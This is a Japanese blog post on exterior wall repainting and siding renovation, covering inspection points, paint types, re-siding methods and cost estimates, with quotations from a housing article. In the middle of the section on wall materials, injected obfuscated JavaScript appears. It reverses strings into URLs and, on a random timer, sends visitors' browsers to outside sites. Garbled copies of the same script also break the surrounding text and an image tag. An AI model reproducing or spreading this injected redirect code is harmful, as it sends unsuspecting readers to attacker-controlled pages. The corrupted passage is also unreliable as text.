こんにちは。佐藤想一郎です。
“外壁塗装”という言葉を目にしたり耳にしたりされたことがあるかと思います。
そこでふと思い浮かぶのが、剥がれかけた塗装を塗って新品同様にするという作業です。
しかし実際には、より家が強固に頑丈なつくりを維持できるようにするためにいろいろと考えられているのです。
本日は、その外壁塗装とは一体どのようなものかに注目してみたいと思います。
塗装がはがれた、汚れが気になる 外壁リフォームってなにができるの?
外壁は新築から年数がたつにつれて塗装やサイディング(板状の外壁材)に傷みや汚れが出てくる。放っておくと、外観の美しさを損ねるだけでなく、建物の性能にも影響するため、適切なメンテナンスやリフォームは大切だ。そこで、リフォームすべきタイミングや、リフォーム方法の選び方について、ミサワホーム北海道ホームイング事業本部の能登さんのアドバイスも交えて解説していく。
築10年が最初の塗り替えの目安。1年に1度は自分で点検を
外壁は雨や風、紫外線にさらされることで表面の塗装が劣化してくる。「外壁は10年ごとの塗装の塗り替え、サイディングは築30年での張り替えが目安です。しかし、排気ガスやホコリなどの影響も受けるため、同じ外壁材でも立地によって劣化のスピードや傷む箇所が違ってきます。新築から10年たたないうちに傷みが出てくるケースもありますから、築7〜8年で1度、建築会社の点検を受けたほうがいいでしょう」(能登さん)
また1年に1度は自分で外壁の状態を以下のポイントでチェックすることも大切。いずれも自分の目で確認できるものだ。
・塗装のはがれや色落ち、変色が見られないか・壁面にカビやコケが発生していないか
・モルタル(セメントと砂、水を混ぜた建築資材)にヒビがないか
・サイディングのボードとボードの隙間を埋めているシリコン材などのコーキングが劣化していないか
また、モルタルやサイディングの塗膜がはがれてくると手のひらで軽くこすっただけで白い粉がつく。これはチョーキングといって塗料が劣化しているサイン。放置しておくと、モルタルのヒビやサイディングの隙間から雨水が入り、建物そのものの劣化を進めることになる。傷みがひどくなってからのメンテナンスは割高になる場合もあるので、気になる箇所があれば早めに家を建てた建築会社やリフォーム会社に相談するといい。
外壁材の種類やリフォームの方法。選び方のポイントを知ろう
外壁のリフォームには大きく分けて「塗り替え」と「張り替え」がある。「塗り替え」の場合、モルタルの壁やサイディングに塗られている塗料にはさまざまな種類があり、どれを選ぶかで費用や持ちが違ってくる。
●塗り替え
【図1】主な外壁塗料の価格と耐久性の違い一般住宅の外壁の塗り替えでよく使われるのはシリコン樹脂系塗料。アクリル樹脂系塗料やウレタン樹脂系塗料に比べて耐久性が高く、環境にもよるが塗ってから10年〜15年程度は塗り替えが不要なケースが多い。フッ素樹脂系塗料は東京スカイツリーの鉄骨部分にも採用された塗料で、さらに高い耐久性をもつがコストも高くなる。
最近では、太陽光で汚れを分解して雨で洗い流す機能を持つ光触媒塗料や、太陽光や熱を反射・吸収して温度の上昇を抑える遮熱塗料もあるが、価格が割高になることからリフォーム会社に相談して塗料を決めることをオススメする。●張り替え
外壁の張り替えでは、モルタルを撤去してサイディングに張り替える、劣化したサイディングを張り替えるなど、いくつかのパターンがある。最近は、モルタルからモルタルへ塗り替えるケースよりも、サイディングに張り替えるのが主流だ。
主な外壁材
モルタル セメント、砂、水を練り合わせた建築材料。サイディングやタイルに比べてコストが低いメリットがあるが、すべて現場で施工を行うためサイディングに比べて工期が長くなる サイディング パネル状に成型された仕上材。窯業系サイディング、金属系サイディングなどがあるが、現在の主流はセメントが主原料の窯業系サイディング。耐久性や耐火性、デザイン性に優れている タイル タイル張りの外壁には、モルタルの下地に貼る湿式工法と、サイディングにはめこんでいく乾式工法がある。細かなデザインに対応できること、耐久性が高いことがメリット。サイディングよりもコストは高くなる $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock)” width=”495″ height=”234″ />【画像1】左:モルタル、中:サイディング、右:タイル(写真:Thinkstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock)張り替えではなく、既存の壁に直接サイディングを張る方法もある。コストや工期を抑えられるメリットがある反面、施工前の劣化した状態を放置したまま仕上材を張ることで、施工後に水漏れなどのトラブルが起きたときに原因の特定が難しくなるという。
「また、上からサイディングをプラスすることで、建物が施工前よりも重たくなります。建物は、地盤の強さと建物の形や重量から耐震性を考慮した設計がされているものですから、重たくなることでそれまでよりも耐震性能が低くなってしまう可能性があります。外壁工事をやり直すことになれば結局は割高になります。長い目で見れば、既存の壁材は撤去し、防水工事や通気層を確保したうえでサイディングを張るほうが後悔しないリフォームになるといえます」(能登さん)
外壁リフォームの費用はケースバイケース。必ず見積もりをとろう
外壁リフォームで気になるのは費用と工期。下の表は床面積40坪の場合の外壁塗り替え費用と工期の目安だ。
【図2】塗料の種類別塗り替え費用と工期の目安(足場代別)※ミサワホームHPより抜粋※床面積40坪の建物の目安。ほかに、足場仮設、外部付帯設備・部品・電線等の脱着、シーリングの打ち替え費用がかかるただし、塗料やサイディング、タイルなど選ぶ外壁材の種類やグレードや、リフォームの方法で価格は違う。また、同じ床面積の家でも外観のデザインに凹凸が多い場合は施工面積が大きくなるため材料費や足場代、工期が長くなる分の人件費がアップする。建物の状態によっても施工方法が変わり費用に差が出たり、天候によって工期が違ったりする。
リフォームにかかる費用はケースバイケースなので、リフォーム会社に依頼するときは、必ず見積もりをとり、金額だけでなく、工事内容や使う外壁材、塗料の種類を確認することが大切だ。
参考URL:https://suumo.jp/article/oyakudachi/oyaku/remodel/rm_knowhow/rm160609/
お家の環境にあった素材や塗装方法もあるかもしれないため、
一度専門の方に見てもらう方が最適かもしれません。
ぜひリフォームをお考えの方は外壁塗装に関しても注目してみてください。
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